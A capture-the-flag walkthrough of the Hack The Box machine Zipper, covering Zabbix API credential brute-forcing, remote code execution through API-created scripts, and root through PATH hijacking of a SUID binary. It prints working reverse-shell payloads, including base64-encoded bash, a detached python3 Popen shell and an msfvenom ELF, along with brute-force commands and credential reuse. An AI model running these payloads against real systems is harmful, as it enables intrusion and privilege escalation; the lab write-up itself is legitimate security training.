Zipper Walkthrough - HTB Hard | Zabbix API RCE & PATH Hijacking Privilege Escalation
Complete walkthrough of Zipper from Hack The Box. A hard Linux machine running a Zabbix 3.0 monitoring instance, where guest access leaks the zapper username and an API brute force recovers weak credentials. The Zabbix scripting API is abused for remote code execution, first landing inside a Docker container and then on the host by targeting the Zabbix agent. A stable shell leads to a root-owned SUID binary that calls systemctl without an absolute path, which is exploited through PATH hijacking to obtain root.
Overview
Zipper is a medium difficulty machine that highlights how privileged API access can be leveraged to gain RCE, and the risk of unauthenticated agent access. It also provides an interesting challenge in terms of overcoming command processing timeouts, and also highlights the dangers of not specifying absolute paths in privileged admin scripts/binaries.
External Enumeration
Nmap
Here’s the output of the classic nmap scan:
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ports=$(nmap -p- --min-rate=1000 -T4 zipper.htb 2>/dev/null | grep '^[0-9]' | cut -d '/' -f1 | paste -sd ',' -); echo "$ports"; nmap -vv -p"$ports" -sC -sV zipper.htb -oX zipper.xml
<SNIP>
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5920a3a098f2a7141e08e09b8172990e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqkIIMof/LgaPPxHdtY6gk+J0fIJ617tm65SupFSOq99moo0EB1AmY0+JFBxZCivbaifQnwZMcPjTXrb37XGiU6tooIfCFLQYlB51UhgV220xqRCQFXoVrHJ/bq3L/Me81gLZ/hG/CwTGVBxZ9HYaTE+11stqtnVPqFdQsvOuQbWl9nMtSjNgnLSmmhJV2U935Xy
oTa+uK2KrbS2ehxspxO8E4VRKWbcv5tmE272JI0GdFlqRlpO13s5QxybI+REKmFULevnCTI8SiGB9rRPnwGJmBLbD7HwrSfltbFMoSkxNk1f9tBfmixLcM5hoiFfFu8O+Lxcuf72ddDKqyUYnB
| 256 aafe25f821247cfcb54b5f0524694c76 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNrGBZHK+XXkq147cQCbzGN1kAdel5dyfLLqHh455s3otLr7R+iVRyfnqc5JUjDtUL05ObFwH00j7fgPvxFH228=
| 256 892837e2b6ccd580381fb26a3ac3a184 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK9TMqlon5J/j6iS1JX4qlKvcBs0p5IH2zttUM5Ctbcs
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
10050/tcp open tcpwrapped syn-ack ttl 63
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
<SNIP>
Key findings:
- 22/tcp — OpenSSH 7.6p1 (Ubuntu)
- 80/tcp — Apache httpd 2.4.29, default Ubuntu page
- 10050/tcp — tcpwrapped
- OS: Linux (Ubuntu)
Web Enumeration
The site is the default Apache installation, but if we fuzz the site’s directories we find something interesting:
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ffuf -w /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u http://zipper.htb/FUZZ -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://zipper.htb/FUZZ
:: Wordlist : FUZZ: /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 10918, Words: 3499, Lines: 376, Duration: 4140ms]
zabbix [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 39ms]
[Status: 200, Size: 10918, Words: 3499, Lines: 376, Duration: 41ms]
server-status [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 41ms]
:: Progress: [220546/220546] :: Job [1/1] :: 888 req/sec :: Duration: [0:03:54] :: Errors: 0 ::
If we browse into the directory, we find this:
Trying the default credentials Admin:zabbix doesn’t work. If we log in as guest, we discover the Zabbix version at the bottom of the page: 3.0.21.
As guest we don’t have much to work with, and this version of Zabbix has no interesting vulnerabilities (at the time the box was released).
Credential Discovery
So I try to brute force the login with the Admin account using a Metasploit module.
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msfconsole
Metasploit tip: Use post/multi/manage/autoroute to automatically add
pivot routes
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
.OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
.dOOo'WM.OOOOocccxOOOO.MX'xOOd.
,kOl'M.OOOOOOOOOOOOO.M'dOk,
:kk;.OOOOOOOOOOOOO.;Ok:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v6.4.117-dev-e60f77af ]
+ -- --=[ 2,623 exploits - 1,326 auxiliary - 1,710 payloads ]
+ -- --=[ 432 post - 49 encoders - 14 nops - 10 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
msf > search zabbix
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/zabbix_sqli 2013-09-23 excellent Yes Zabbix 2.0.8 SQL Injection and Remote Code Execution
1 exploit/unix/misc/zabbix_agent_exec 2009-09-10 excellent No Zabbix Agent net.tcp.listen Command Injection
2 exploit/multi/http/zabbix_script_exec 2013-10-30 excellent Yes Zabbix Authenticated Remote Command Execution
3 \_ target: Linux Dropper . . . .
4 \_ target: Unix Command . . . .
5 exploit/linux/misc/zabbix_server_exec 2009-09-10 excellent Yes Zabbix Server Arbitrary Command Execution
6 auxiliary/scanner/http/zabbix_login . normal No Zabbix Server Brute Force Utility
7 auxiliary/gather/zabbix_toggleids_sqli 2016-08-11 normal Yes Zabbix toggle_ids SQL Injection
Interact with a module by name or index. For example info 7, use 7 or use auxiliary/gather/zabbix_toggleids_sqli
msf > use 6
msf auxiliary(scanner/http/zabbix_login) > show options
Module options (auxiliary/scanner/http/zabbix_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TARGETURI /zabbix/ yes The path to the Zabbix server application
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf auxiliary(scanner/http/zabbix_login) > set pass_file /opt/lists/rockyou.txt
pass_file => /opt/lists/rockyou.txt
msf auxiliary(scanner/http/zabbix_login) > set rhost zipper.htb
rhost => zipper.htb
msf auxiliary(scanner/http/zabbix_login) > set stop_on_success true
stop_on_success => true
msf auxiliary(scanner/http/zabbix_login) > set username Admin
username => Admin
msf auxiliary(scanner/http/zabbix_login) > run
[*] 10.129.1.198:80 - Found Zabbix version 3.0
[+] 10.129.1.198:80 - Note: This Zabbix instance has Guest mode enabled
[-] 10.129.1.198:80 - Failed: 'Admin:zabbix'
[!] No active DB -- Credential data will not be saved!
[-] 10.129.1.198:80 - Failed: 'Admin:123456'
[-] 10.129.1.198:80 - Failed: 'Admin:12345'
[-] 10.129.1.198:80 - Failed: 'Admin:123456789'
[-] 10.129.1.198:80 - Failed: 'Admin:password'
[-] 10.129.1.198:80 - Failed: 'Admin:iloveyou'
[-] 10.129.1.198:80 - Failed: 'Admin:princess'
[-] 10.129.1.198:80 - Failed: 'Admin:1234567'
[-] 10.129.1.198:80 - Failed: 'Admin:rockyou'
[-] 10.129.1.198:80 - Failed: 'Admin:12345678'
However, we get no results.
Another thing we can try is interacting with the API, but for that we need an account since the guest account is very restricted. So, going back to the dashboard as guest, I look for other hints, and I find a probable username of the owner inside a backup script.
I restart the brute force with the username zapper, but I don’t find a valid password. Instead of using the msf module (which would also take quite a while), I try via ffuf against the API, since it could be an account without web GUI access:
The request we’ll use is this one:
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POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: zipper.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=ssguesipg3rhpldtf6frp11des; zbx_sessionid=98a8424132b977308ccb12226616b1d1
Connection: keep-alive
Content-Type: application/json
Content-Length: 163
{
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"user": "zapper",
"password": "FUZZ"
},
"id": 1,
"auth": null
}
Let’s use ffuf:
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ffuf -request req -w /opt/lists/rockyou.txt:FUZZ -u "http://zipper.htb/zabbix/api_jsonrpc.php" -mr "(?i)result"
/\'___\ /\'___\ /\'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : POST
:: URL : http://zipper.htb/zabbix/api_jsonrpc.php
:: Wordlist : FUZZ: /opt/lists/rockyou.txt
:: Header : Connection: keep-alive
:: Header : Content-Type: application/json
:: Header : Host: zipper.htb
:: Header : Accept-Language: en-US,en;q=0.9
:: Header : Upgrade-Insecure-Requests: 1
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
:: Header : Cookie: PHPSESSID=ssguesipg3rhpldtf6frp11des; zbx_sessionid=98a8424132b977308ccb12226616b1d1
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
:: Header : Accept-Encoding: gzip, deflate, br
:: Data : {
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"user": "zapper",
"password": "FUZZ"
},
"id": 1,
"auth": null
}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: (?i)result
________________________________________________
zapper [Status: 200, Size: 68, Words: 1, Lines: 1, Duration: 283ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
zapper is the password of the zapper account.
Credentials: zapper:zapper
Initial Access
RCE via API
There’s a Zabbix feature that lets you, through the API, create scripts to run on specific hosts. We can see this in the documentation here. First of all, though, we need to log in:
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POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: zipper.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=tm0tgoib8qha9l56mqmkp5saeb; zbx_sessionid=405dc9aa783a3105bd3f103adabd493a
Connection: keep-alive
Content-Type: application/json
Content-Length: 151
{
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"user": "zapper",
"password": "zapper"
},
"id": 1
}
As a response we get a result string to use for authentication:
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HTTP/1.1 200 OK
Date: Mon, 14 Sep 2026 08:52:23 GMT
Server: Apache/2.4.29 (Ubuntu)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 68
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"jsonrpc":"2.0","result":"16d05478e664b4490cc4eca90c7aa1fe","id":1}
Now let’s create a script that will give us a reverse shell (from here on the HTTP request headers are omitted):
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{
"jsonrpc": "2.0",
"method": "script.create",
"params": {
"name": "reverse shell",
"command": "echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMDIvOTAwMSAwPiYx' | base64 -d | bash",
"host_access": 3,
"confirmation": ""
},
"auth": "16d05478e664b4490cc4eca90c7aa1fe",
"id": 1
}
However, we need to know the value of host_access! To get it we can use this other query:
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{
"jsonrpc": "2.0",
"method": "host.get",
"params": {
"output": [
"host"
]
},
"id": 2,
"auth": "16d05478e664b4490cc4eca90c7aa1fe"
}
Here’s the result:
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{
"jsonrpc": "2.0",
"result": [
{
"hostid": "10105",
"host": "Zabbix"
},
{
"hostid": "10106",
"host": "Zipper"
}
],
"id": 2
}
Now we can create the script successfully. I’d say we pick Zipper as the target, since Zabbix is presumably the Docker container of the app itself.
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{
"jsonrpc": "2.0",
"method": "script.create",
"params": {
"name": "reverse shell",
"command": "echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjIwMi85MDAxIDA+JjE=' | base64 -d | bash",
"host_access": 10106,
"confirmation": ""
},
"auth": "16d05478e664b4490cc4eca90c7aa1fe",
"id": 1
}
Let’s execute it and get a shell.
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{
"jsonrpc": "2.0",
"method": "script.execute",
"params": {
"scriptid": "5",
"hostid": "10106"
},
"auth": "16d05478e664b4490cc4eca90c7aa1fe",
"id": 1
}
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nc -lnvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.71.83.
Ncat: Connection from 10.129.71.83:47278.
bash: cannot set terminal process group (17416): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@46de3f92b7e4:/$ pwd
pwd
/
zabbix@46de3f92b7e4:/$ id
id
uid=103(zabbix) gid=104(zabbix) groups=104(zabbix)
zabbix@46de3f92b7e4:/$ ls -al
ls -al
total 84
drwxr-xr-x 1 root root 4096 Sep 17 04:22 .
drwxr-xr-x 1 root root 4096 Sep 17 04:22 ..
-rwxr-xr-x 1 root root 0 Sep 17 04:22 .dockerenv
drwxrwxrwx 2 1000 1000 4096 Sep 17 09:09 backups
drwxr-xr-x 1 root root 4096 Sep 26 2022 bin
drwxr-xr-x 2 root root 4096 Sep 26 2022 boot
drwxr-xr-x 5 root root 360 Sep 17 04:22 dev
drwxr-xr-x 1 root root 4096 Sep 17 04:22 etc
drwxr-xr-x 2 root root 4096 Sep 26 2022 home
drwxr-xr-x 1 root root 4096 Sep 26 2022 lib
drwxr-xr-x 2 root root 4096 Sep 26 2022 media
drwxr-xr-x 2 root root 4096 Sep 26 2022 mnt
drwxr-xr-x 2 root root 4096 Sep 26 2022 opt
dr-xr-xr-x 193 root root 0 Sep 17 04:22 proc
drwx------ 1 root root 4096 Sep 26 2022 root
drwxr-xr-x 1 root root 4096 Sep 26 2022 run
drwxr-xr-x 1 root root 4096 Sep 26 2022 sbin
drwxr-xr-x 2 root root 4096 Sep 26 2022 srv
dr-xr-xr-x 13 root root 0 Sep 17 04:22 sys
drwxrwxrwt 1 root root 4096 Sep 17 04:24 tmp
drwxr-xr-x 1 root root 4096 Sep 26 2022 usr
drwxr-xr-x 1 root root 4096 Sep 26 2022 var
Initial shell obtained.
As we can see, though, we’re on the Zabbix Docker container even though we entered the right host. In any case, let’s explore the container. Reading Zabbix’s configuration files, we discover the MySQL password.
We can find Zabbix’s configuration files in /etc/zabbix. The file with the credentials is /etc/zabbix/zabbix_server.conf:
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### Option: DBName
# Database name.
# For SQLite3 path to database file must be provided. DBUser and DBPassword are ignored.
#
# Mandatory: yes
# Default:
# DBName=
DBName=zabbixdb
### Option: DBSchema
# Schema name. Used for IBM DB2 and PostgreSQL.
#
# Mandatory: no
# Default:
# DBSchema=
### Option: DBUser
# Database user. Ignored for SQLite.
#
# Mandatory: no
# Default:
# DBUser=
DBUser=zabbix
### Option: DBPassword
# Database password. Ignored for SQLite.
# Comment this line if no password is used.
#
# Mandatory: no
# Default:
DBPassword=f.YMeMd$pTbpY3-449
The password is f.YMeMd$pTbpY3-449. With the password in hand, I try to log in — again via the API — as the admin user.
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{
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"user": "Admin",
"password": "f.YMeMd$pTbpY3-449"
},
"id": 1
}
It works:
1
{"jsonrpc":"2.0","result":"5f659c21d22d0514384b2cd872d2f56a","id":1}
Credentials: Admin:f.YMeMd$pTbpY3-449
Escaping to the Host via the Zabbix Agent
Earlier we couldn’t get access to the main host and ended up on the Docker container. To avoid this, we need to go to the admin GUI and change how the script behaves.
After logging into the web GUI as Admin, we click on Administration -> Scripts -> our reverse shell script. We then edit the script to make it run on the Zabbix agent, not on the Zabbix server.
As soon as we execute the script, we get a timeout error from the API.
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{"jsonrpc":"2.0","error":{"code":-32500,"message":"Application error.","data":"Timeout while executing a shell script."},"id":1}
But, as we can see from the shell, we’re on the original host and not in the Docker container.
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nc -lnvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.1.198.
Ncat: Connection from 10.129.1.198:54668.
bash: cannot set terminal process group (6869): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@zipper:/$ exit
For this reason, we need to modify the payload to create this shell in the background.
Since python3 is on the target (verified by creating a script that runs which python3), we can execute this one-liner for a shell that completely detaches from whatever executes it, because just adding a & at the end isn’t enough.
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python3 -c "import subprocess; subprocess.Popen(['/bin/bash','-c','bash -i >& /dev/tcp/10.10.14.202/9001 0>&1'], stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)"
The four flags change where the shell’s output is redirected so that it’s no longer tied to the script executed by the Zabbix agent. The last one completely detaches the process from Zabbix’s.
With this one-liner we get a persistent shell.
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nc -lnvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.1.198.
Ncat: Connection from 10.129.1.198:56160.
bash: cannot set terminal process group (10020): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@zipper:/$ ls
ls
backups
bin
boot
core
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
zabbix@zipper:/$ id
id
uid=107(zabbix) gid=113(zabbix) groups=113(zabbix)
Privilege Escalation
SUID Binary Discovery
After transferring linpeas, we notice the presence of a SUID file in the zapper user’s home.
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╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
-rwsr-sr-x 1 root root 7.4K Sep 8 2018 /home/zapper/utils/zabbix-service (Unknown SUID binary!)
-rwsr-xr-x 1 root root 158K Nov 30 2017 /bin/ntfs-3g ---> Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others(02-2017)
-rwsr-xr-x 1 root root 26K May 16 2018 /bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 30K Aug 11 2016 /bin/fusermount
<SNIP>
If we run strings on this file, we can understand what it does.
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strings /home/zapper/utils/zabbix-service
tdx
/lib/ld-linux.so.2
libc.so.6
<SNIP>
Y[^]
UWVS
[^_]
start or stop?:
start
systemctl daemon-reload && systemctl start zabbix-agent
stop
systemctl stop zabbix-agent
[!] ERROR: Unrecognized Option
;*2$"
GCC: (Ubuntu 7.3.0-16ubuntu3) 7.3.0
crtstuff.c
<SNIP>
As we can see, the program asks us start or stop? and then runs systemctl start or stop, but without using the full path! This indicates possible hijacking.
Exploiting the PATH Hijack
First of all, let’s check the target’s architecture in order to correctly build our malicious systemctl.
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uname -m
i686
We’re on a 32-bit system, so we’ll use an x86 payload. Let’s create our malicious systemctl with msfvenom.
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msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.202 LPORT=9002 -f elf -o systemctl
WARN: Unresolved or ambiguous specs during Gem::Specification.reset:
stringio (>= 0)
Available/installed versions of this gem:
- 3.1.1
- 3.0.1.2
WARN: Clearing out unresolved specs. Try 'gem cleanup <gem>'
Please report a bug if this causes problems.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: systemctl
After transferring it to the target (I placed it in the /var/tmp directory) and giving it execute permissions, we modify our path with the command export PATH=/var/tmp:$PATH. Finally, let’s run it after opening the listener.
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/home/zapper/utils/zabbix-service
start
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nc -lnvp 9002
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.129.73.26.
Ncat: Connection from 10.129.73.26:56870.
id
uid=0(root) gid=0(root) groups=0(root),113(zabbix)
We have a shell as root.
User and root flags obtained. Box completed.
Reflections
What Surprised Me
I was surprised by the instant drop of the reverse shell on the main host, something that didn’t happen inside the container. It took me a while to figure out what to do.
Main Mistake
I hadn’t realized that the name of the script was supposed to hint at the zapper username. I wasted quite a bit of time.
Alternative Approaches
We could have created a custom binary compiled directly from C code that read /root/root.txt and saved it in /tmp/ for everyone to read.
Open Question
A few boxes ago I saw the monitoring tool Monit, and now Zabbix. What’s the difference? Is one better than the other?
Completed this box? Did you also escape the Zabbix Docker container by switching the script to the agent, or did you find another path to the host? Leave a comment down below!





